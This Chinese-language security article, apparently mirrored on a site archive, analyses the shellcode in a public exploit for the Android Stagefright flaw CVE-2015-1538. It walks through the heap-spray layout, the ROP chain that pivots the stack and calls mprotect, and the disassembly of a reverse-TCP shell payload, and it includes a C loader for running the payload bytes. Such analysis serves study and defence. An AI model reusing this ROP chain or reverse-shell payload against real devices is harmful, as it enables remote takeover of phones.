menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right 007-papers chevron_right 0390-CVE-2015-1538漏洞利用中的Shellcode分析.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    0390-CVE-2015-1538漏洞利用中的Shellcode分析.md
    13.31 KB / 2021-07-17 00:01:34
        # CVE-2015-1538漏洞利用中的Shellcode分析
    
    Author:没羽@阿里移动安全
    
    0x00 序
    ======
    
    * * *
    
    2015年7月以色列移动信息安全公司Zimperium在Android Stagefright框架中发现了多个整数溢出和下溢,不正确整数溢出检查等漏洞,可导致任意代码执行等问题。攻击者通过发送包含特制媒体文件的MMS或WEB页来触发该漏洞。由于stagefright不只是用来播放媒体文件的,还能自动产生缩略图,或者从视频或音频文件中抽取元数据,如长度、高度、宽度、帧频、频道和其他类似信息。因此接收到恶意彩信的用户只要查看缩略图就可触发该漏洞。
    
    “Stagefright”媒体播放引擎库在Android 2.2中引入,至5.1的所有版本上均存在此漏洞。使用Stagefright库的应用程序以Media权限运行,成功利用漏洞,允许攻击者以媒体库上下文查看相应的文件,但通过权限提升攻击,可完全控制设备。该Stagefright漏洞所对应的CVE ID如下:
    
    ```
    CVE-2015-1538
    CVE-2015-1539
    CVE-2015-3824
    CVE-2015-3826
    CVE-2015-3827
    CVE-2015-3828
    CVE-2015-3829
    
    ```
    
    zimperium研究人员Joshua Drake在8月的BlackHat会议上讲解并演示了该漏洞。9月份在官方博客(blog.zimperium.com)公开了其中一个漏洞:CVE-2015-1538的利用代码[[1]](https://blog.zimperium.com/the-latest-on-stagefright-cve-2015-1538-exploit-is-now-available-for-testing-purposes/)。
    
    虽然CVE-2015-1538的利用是在Android 4.0.x上实现的,相对于高版本Android,少了很多缓解技术需要bypass,但是其exploit中所用的媒体文件堆喷、pivot stack、反向连接shell等一些技巧可为以后借鉴,所以将其记录下,也是留个备忘。
    
    0x01 Shellcode代码分析
    ==================
    
    * * *
    
    **1.1 ROP**
    
    分析Exploit[[2]](https://github.com/jduck/cve-2015-1538-1)可知,该漏洞利用“tx3g”tag进行内存堆喷射(2M)来达到执行shellcode。其单个spray buffer的构造如下:
    
    | Offset | value |
    | :-: | :-: |
    | 0x0 | sp_addr + 16{} |
    | 0x4 | sp_addr + 8 |
    | 0x8 | 1 |
    | 0xC | 0xcodedbad |
    | 0x10 | sp_addr + 24 |
    | 0x14 | 16 |
    | 0x18 | sp_addr + 32 |
    | 0x1C | 0xf00dbabe |
    | 0x20 | 0xcode0000 + 0x0 |
    | 0x24 | 0xcode0000 + 0x4 |
    | 0x28 | 0xcode0000 + 0x8 |
    | 0x2C | new_pc{} |
    | 0x30 | 0xf0f00000+x1 |
    | … | … |
    | 0x4C, ROP+0x0 | sp_addr + 0x40 |
    | ROP+0x4 | 0xb0002a98{} |
    | ROP+0x8 | 0xb00038b2 + 1{} |
    | ROP+0xC | sp_addr & 0xFFFFF000 |
    | ROP+0x10 | 0x1000 |
    | ROP+0x14 | 7 |
    | ROP+0x18 | 0xd000d003 |
    | ROP+0x1C | 0xd000d004 |
    | ROP+0x20 | 0xb001144{} |
    | ROP+0x24 | sp_addr + 0x80 |
    | ROP+0x28 | 0xf0f00000 + x1 |
    | … | … … |
    | ROP+0x4C | payload/shell_reverse_tcp |
    | … | … |
    | 0x1000 | 0xf0f00000 + xn |
    
    从exploit看,mediaserver crash时代码走到了`android::RefBase::decStrong(android::RefBase *__hidden this, const void *)`,汇编代码如下:
    
    ```
    .text:0000EE34 70 B5         PUSH  {R4-R6,LR}
    .text:0000EE36 05 46         MOV   R5, R0
    .text:0000EE38 44 68         LDR   R4, [R0,#4]
    .text:0000EE3A 0E 46         MOV   R6, R1
    .text:0000EE3C 20 46         MOV   R0, R4
    .text:0000EE3E FD F7 54 EB   BLX   android_atomic_dec
    .text:0000EE42 01 28         CMP   R0, #1
    .text:0000EE44 0B D1         BNE   loc_EE5E
    .text:0000EE46 A0 68         LDR   R0, [R4,#8]
    .text:0000EE48 01 68         LDR   R1, [R0]
    .text:0000EE4A CA 68         LDR   R2, [R1,#0xC]
    .text:0000EE4C 31 46         MOV   R1, R6
    .text:0000EE4E 90 47         BLX   R2
    
    ```
    
    按这段代码的执行流程如下:
    
    **1)r0 = spray_address = sa**
    
    ```
    LDR             R4, [R0,#4]
    
    ```
    
    执行后,`r4 = [sa+4] = sa+8`
    
    ```
    .text:0000EE46  LDR             R0, [R4,#8]
    
    ```
    
    执行后,`r0 = [r4+8]=[sa+8+8]=[sa+0x10]=sa+24=sa+0x18`
    
    ```
    .text:0000EE48LDR     R1, [R0]
    
    ```
    
    执行后,`r1=[r0+0]=[sa+0x18]=sz+32=sa+0x20`
    
    ```
    .text:0000EE4A  LDR             R2, [R1,#0xC]
    
    ```
    
    执行后,`r2=[r1+0xC]=[sa+0x20+0xC]=[sa+0x2C]=new_pc`。执行`blx r2`跳到`new_pc`处。
    
    **2)new_pc**
    
    exploit中默认定义的new_pc为`0xb0002850(__dl_restore_core_regs)`,位于libc.so中。看Android 4.1.2的libc.so中的`restore_core_regs`函数:
    
    ```
    .text:00010BA8      EXPORT restore_core_regs
    .text:00010BA8      ADD             R1, R0, #0x34 ; Alternative name is '__restore_core_regs'
    .text:00010BAC      LDMIA           R1, {R3-R5}
    .text:00010BB0      STMFD           SP!, {R3-R5}
    .text:00010BB4      LDMIA           R0, {R0-R11}
    .text:00010BB8      LDMFD           SP, {SP-PC}
    
    ```
    
    这段代码主要是用于pivot stack:
    
    ```
    ADD             R1, R0, #0x34
    
    ```
    
    此时`r0=sa+0x18,r1=sa+0x18+0x34=sa+0x4C`
    
    ```
    .text:00010BAC      LDMIA           R1, {R3-R5}
    
    ```
    
    将r1指向地址sa+0x4C的内容依次写到r3,r4,r5中,即`r3=sa+0x40=ROP+0x0`,`r4=0xb0002a98`,`r5=0xb00038b2+1`
    
    ```
    .text:00010BB0      STMFD           SP!, {R3-R5}
    
    ```
    
    将r3,r4,r5入栈。
    
    ```
    .text:00010BB8      LDMFD           SP, {SP-PC}
    
    ```
    
    出栈操作;执行完后`sp=ROP+0xC`;`lr=0xb0002a98`;`pc=0xb00038b2+1`
    
    **3)执行pc**
    
    此时pc为0xb00038b2+1,基所指向的指令为:
    
    ```
    pop {r0, r1, r2, r3, r4, pc}
    
    ```
    
    将sp指向的栈弹出并存入到r0-r4及pc寄存器中,该条指令执行完后,r0=sp_addr & 0xFFFFF000,r1=0x1000,r2=7,pc=0xb001144。
    
    该条指令可以libstagefright.so中找到。如在4.1.2下:thumb,libstagefright.so + 0x0009086C。
    
    **4)再执行pc**
    
    此时pc为0xb001144,该地址是mprotect函数的地址,位于libc.so中,代码如下:
    
    ```
    .text:0000CACC                 EXPORT mprotect
    .text:0000CACC                 STMFD           SP!, {R4,R7}
    .text:0000CAD0                 MOV             R7, #0x7D
    .text:0000CAD4                 SVC             0        ;超级用户调用
    .text:0000CAD8                 LDMFD           SP!, {R4,R7}
    .text:0000CADC                 MOVS            R0, R0
    .text:0000CAE0                 BXPL            LR      
    .text:0000CAE4                 B               sub_39D44
    
    ```
    
    将sp_addr地址,长度为0x1000的内存改为可执行权限。
    
    ```
    .text:0000CAE0                 BXPL            LR
    
    ```
    
    如果执行成功则调用lr,即0xb0002a98。
    
    **5)执行lr**
    
    此时lr为0xb0002a98,其指向的指令如下:
    
    ```
    pop {pc}
    
    ```
    
    当前`sp=ROP+0x24`,执行完成后`pc=sa+0x80,即shell_reverse_tcp代码的地址。
    
    该条指令可以libstagefright.so中找到。如在4.1.2下:thumb,libstagefright.so + 0x0005ad14。
    
    **1.2 shell_reverse_tcp**
    
    exploit代码看shell_reverse_tcp是反向连接到目标ip:port的一段payload,这段代码是从metasploit的`shell_reverse_tcp`[[3]](https://github.com/rapid7/metasploit-framework/blob/master/modules/payloads/singles/linux/armle/shell_reverse_tcp.rb)修改而来的。为了搞清楚这段代码的功能,我们写了一段loader来加载这段代码,然后反汇编进行分析,如下:
    
    ```
    unsignedchar payload[] = 
    "\x02\x70\xa0\xe3"
    ……
    "65\x6d\x2f\x62\x69\x6e\x3a\x2f\x73\x79\x73\x74\x65\x6d\x2f\x78\x62\x69\x6e\x00";
    int loader()
    {
    printf("hello payload: 0x%x\n", payload);
    asm__volatile__ (
    "ldr r0, =payload \t\n"
    "blx r0 \t\n");
    return0;
    }
    int main(intargc, char* constargv[])
    {
    loader();
    return0;
    }
    
    ```
    
    中`payload[]`数组中的数据是从exploit的`shell_reverse_tcp`中提取的。这种加载方式在Android 4.1.x可以运行,高版本Android增加了安全缓解技术,会报错,但不影响分析代码。用IDA Pro加载编译程序,可以看到shell_reverse_tcp的反汇编代码如下:
    
    ```
    .data:00002000 02 70 A0 E3                             MOV             R7, #2
    .data:00002004 00 0000 EF                             SVC             0       ; __fork
    .data:00002008 00 00 50 E3                             CMP             R0, #0
    .data:0000200C 02 00 00 0A                             BEQ             loc_201C
    .data:00002010 00 00 A0 E3                             MOV             R0, #0
    .data:00002014 01 70 A0 E3                             MOV             R7, #1
    .data:00002018 00 0000 EF                             SVC             0       ; _exit_thread
    .data:0000201Cloc_201C                                ; CODE XREF: .data:0000200Cj
    .data:0000201C 42 70 A0 E3                             MOV             R7, #0x42
    .data:00002020 00 0000 EF                             SVC             0       ; setsid
    .data:00002024 02 00 A0 E3                             MOV             R0, #2
    .data:00002028 01 10 A0 E3                             MOV             R1, #1
    .data:0000202C 05 20 81 E2                             ADD             R2, R1, #5
    .data:00002030 8C 70 A0 E3 8D 70 87 E2                 MOV             R7, #0x119
    .data:00002038 00 0000 EF                             SVC             0       ; socket
    .data:0000203C 00 60 A0 E1                             MOV             R6, R0
    .data:00002040 6C 10 8F E2                             ADR             R1, loc_20B4 ; structsockaddr_in
    .data:00002044 10 20 A0 E3                             MOV             R2, #0x10
    .data:00002048 8D 70 A0 E3 8E 70 87 E2                 MOV             R7, #0x11B
    .data:00002050 00 0000 EF                             SVC             0       ; connect
    .data:00002054 06 00 A0 E1                             MOV             R0, R6
    .data:00002058 00 10 A0 E3                             MOV             R1, #0
    .data:0000205C 3F 70 A0 E3                             MOV             R7, #0x3F
    .data:00002060 00 0000 EF                             SVC             0       ; dup2
    .data:00002064 06 00 A0 E1                             MOV             R0, R6
    .data:00002068 01 10 A0 E3                             MOV             R1, #1
    .data:0000206C 3F 70 A0 E3                             MOV             R7, #0x3F
    .data:00002070 00 0000 EF                             SVC             0       ; dup2
    .data:00002074 06 00 A0 E1                             MOV             R0, R6
    .data:00002078 02 10 A0 E3                             MOV             R1, #2
    .data:0000207C 3F 70 A0 E3                             MOV             R7, #0x3F
    .data:00002080 00 0000 EF                             SVC             0       ; dup2
    .data:00002084 30 00 8F E2                             ADR             R0, aSystemBinSh ; "/system/bin/sh"
    .data:00002088 04 40 24 E0                             EOR             R4, R4, R4
    .data:0000208C 10 00 2D E9                             STMFD           SP!, {R4}
    .data:00002090 38 30 8F E2    ADR   R3, aPathSbinVendor ; "PATH=/sbin:/vendor/bin:/system/sbin:/sy"...
    .data:00002094 08 00 2D E9                             STMFD           SP!, {R3}
    .data:00002098 0D 20 A0 E1                             MOV             R2, SP
    .data:0000209C 10 00 2D E9                             STMFD           SP!, {R4}
    .data:000020A0 24 40 8F E2                             ADR             R4, aSh ; "sh"
    .data:000020A4 10 00 2D E9                             STMFD           SP!, {R4}
    .data:000020A8 0D 10 A0 E1                             MOV             R1, SP
    .data:000020AC 0B 70 A0 E3                             MOV             R7, #0xB
    .data:000020B0 00 0000 EF                             SVC             0       ; execve
    .data:000020B4  loc_20B4                       ; DATA XREF: .data:00002040o
    .data:000020B4 02 00 30 39   ;structsockaddr_in: <family+port+host>, port: 0x3039(12345)
    .data:000020B8xx xxxxxx; ip address
    .data:000020BC 2F 73 79 73 74 65 6D 2F+aSystemBinSh    DCB "/system/bin/sh",0  ; DATA XREF: .data:00002084o
    .data:000020BC 62 69 6E 2F 73 68 00                                            ; .data:loc_20B4o
    .data:000020CB 00                                      DCB    0
    .data:000020CC 73 68 00      aSh             DCB "sh",0              ; DATA XREF: .data:000020A0o
    .data:000020CF 00                                      DCB    0
    .data:000020D0 50 41 54 48 3D 2F 73 62+aPathSbinVendor DCB "PATH=/sbin:/vendor/bin:/system/sbin:/system/bin:/system/xbin",0
    .data:000020D0 69 6E 3A 2F 76 65 6E 64+       ; DATA XREF: .data:00002090o
    .data:0000210D 00                                      DCB    0
    
    ```
    
    payload通过svc指令调用相应的linux函数,相应的函数已备注在汇编代码中,这段代码功能是通过tcp连接远程服务器的特定端口,伪代码如下:
    
    ```
    r = fork();
    if r<>0
    exit_thread();
    setsid();
    s = socket(2,1,6);
    connect(s, socaddr, 0x10);
    dup2(s,0);//@stdin
    dup2(s,1);//@stdout
    dup2(s,2);//@stderr
    execve("/system/bin/sh", "sh", "PATH=/sbin:/vendor/bin:/system/sbin:/system/bin:/system/xbin");
    
    ```
    
    loader编译后直接运行会失败,这是因为payload存储在“.data”节中,其属性是“Read”的,需要为该节增加“Execute”属性才会运行成功。这里使用010 Editor的ELFTemplate为“.data”节增加“Execute”属性:
    
    ![p1](http://drops.javaweb.org/uploads/images/e0fb47a507b1646d09b1fb9a6bfceaef6e241efc.jpg)
    
    然后push到设备中,即可运行成功:
    
    ![p2](http://drops.javaweb.org/uploads/images/a15195302fdb09aaf11b0176df818ecd6615044e.jpg)
    
    0x02 参考
    =======
    
    * * *
    
    1.  [https://blog.zimperium.com/the-latest-on-stagefright-cve-2015-1538-exploit-is-now-available-for-testing-purposes/](https://blog.zimperium.com/the-latest-on-stagefright-cve-2015-1538-exploit-is-now-available-for-testing-purposes/)
    2.  [https://github.com/jduck/cve-2015-1538-1](https://github.com/jduck/cve-2015-1538-1)
    3.  [https://github.com/rapid7/metasploit-framework/blob/master/modules/payloads/singles/linux/armle/shell_reverse_tcp.rb](https://github.com/rapid7/metasploit-framework/blob/master/modules/payloads/singles/linux/armle/shell_reverse_tcp.rb)
    
    links
    file_download